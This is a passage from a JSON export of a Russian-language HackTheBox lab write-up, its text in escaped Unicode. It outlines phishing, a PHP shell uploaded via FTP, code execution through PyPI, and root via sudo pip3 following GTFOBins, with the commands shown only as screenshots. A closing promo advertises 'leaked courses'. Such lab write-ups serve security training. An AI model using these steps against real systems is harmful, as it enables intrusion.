\u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d, \u0438 \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0441\u043c\u0435\u043b\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0442\u044c\u0441\u044f \u043f\u043e SSH \u0441 \u043f\u0440\u0438\u0432\u0430\u0442\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/ki\/6w\/jp\/ki6wjpd7ve2mkmqmqxllzeqqzbo.png\"><\/p>\n<h2>ROOT<\/h2>\n<p>  \u0418\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a sudo \u0443\u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c pip3 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tc\/cl\/sv\/tcclsvo4rn822ermbpyknx3ux-m.png\"><\/p>\n<p>  \u041e\u0431\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043a <a href=\"https:\/\/gtfobins.github.io\/\" rel=\"nofollow\">GTFOBins<\/a> \u0438 \u0432\u0438\u0434\u0438\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u0430.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/hr\/bi\/v8\/hrbiv8ayfrvh3sygmlkthiw_gpe.png\"><\/p>\n<p>  \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/3y\/kq\/ad\/3ykqadvmpqpzzpkwnmrher75qzy.png\"><\/p>\n<p>  \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u0440\u0438\u0441\u043e\u0435\u0434\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u043a \u043d\u0430\u043c \u0432 <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">Telegram<\/a>. \u0422\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043d\u0430\u0439\u0442\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b, \u043e\u0442\u0447\u0435\u0442\u044b, \u0441\u043b\u0438\u0442\u044b\u0435 \u043a\u0443\u0440\u0441\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u041f\u041e. \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u0443\u0434\u0443\u0442 \u043b\u044e\u0434\u0438, \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u0432\u043e \u043c\u043d\u043e\u0433\u0438\u0445 \u0441\u0444\u0435\u0440\u0430\u0445 \u0418\u0422, \u0442\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u0434\u0440\u0443\u0433 \u0434\u0440\u0443\u0433\u0443 \u043f\u043e \u043b\u044e\u0431\u044b\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0418\u0422 \u0438 \u0418\u0411.<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/530132\/\"> https:\/\/habr.com\/ru\/post\/530132\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/g3\/7v\/qr\/g37vqrkokjrfewezrskexmwzj7s.png\"><\/p>\n<p>  \u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u0440\u0435\u0448\u0435\u043d\u0438\u0439, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 \u0434\u043e\u0440\u0435\u0448\u0438\u0432\u0430\u043d\u0438\u0435 \u043c\u0430\u0448\u0438\u043d \u0441 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0438 <a href=\"https:\/\/www.hackthebox.eu\" rel=\"nofollow\">HackTheBox<\/a>. <\/p>\n<p>  \u0412 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u043a \u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u044b, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0443 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u043f\u0438\u0441\u0435\u043c, \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u043c PHP \u0448\u0435\u043b\u043b \u0447\u0435\u0440\u0435\u0437 FTP, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f PyPI \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 GTFOBins pip3. <\/p>\n<div class=\"spoiler\" role=\"button\" tabindex=\"0\">                         <b class=\"spoiler_title\">\u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f<\/b>                         <\/p>\n<div class=\"spoiler_text\">\u0427\u0442\u043e\u0431\u044b \u0432\u044b \u043c\u043e\u0433\u043b\u0438 \u0443\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u043e \u043d\u043e\u0432\u044b\u0445 \u0441\u0442\u0430\u0442\u044c\u044f\u0445, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u044f \u0441\u043e\u0437\u0434\u0430\u043b <a href=\"https:\/\/t.me\/RalfHackerChannel\" rel=\"nofollow\">\u043a\u0430\u043d\u0430\u043b \u0432 Telegram<\/a> \u0438 <a href=\"https:\/\/t.me\/RalfHackerPublicChat\" rel=\"nofollow\">\u0433\u0440\u0443\u043f\u043f\u0443 \u0434\u043b\u044f \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u044f \u043b\u044e\u0431\u044b\u0445 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432<\/a> \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0438\u041a\u0411. \u0422\u0430\u043a\u0436\u0435 \u0432\u0430\u0448\u0438 \u043b\u0438\u0447\u043d\u044b\u0435 \u043f\u0440\u043e\u0441\u044c\u0431\u044b, \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 <a href=\"https:\/\/t.me\/hackerralf8\" rel=\"nofollow\">\u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u044e \u043b\u0438\u0447\u043d\u043e \u0438 \u043e\u0442\u0432\u0435\u0447\u0443 \u0432\u0441\u0435\u043c<\/a>.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-313955","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/313955","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=313955"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/313955\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=313955"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=313955"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=313955"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}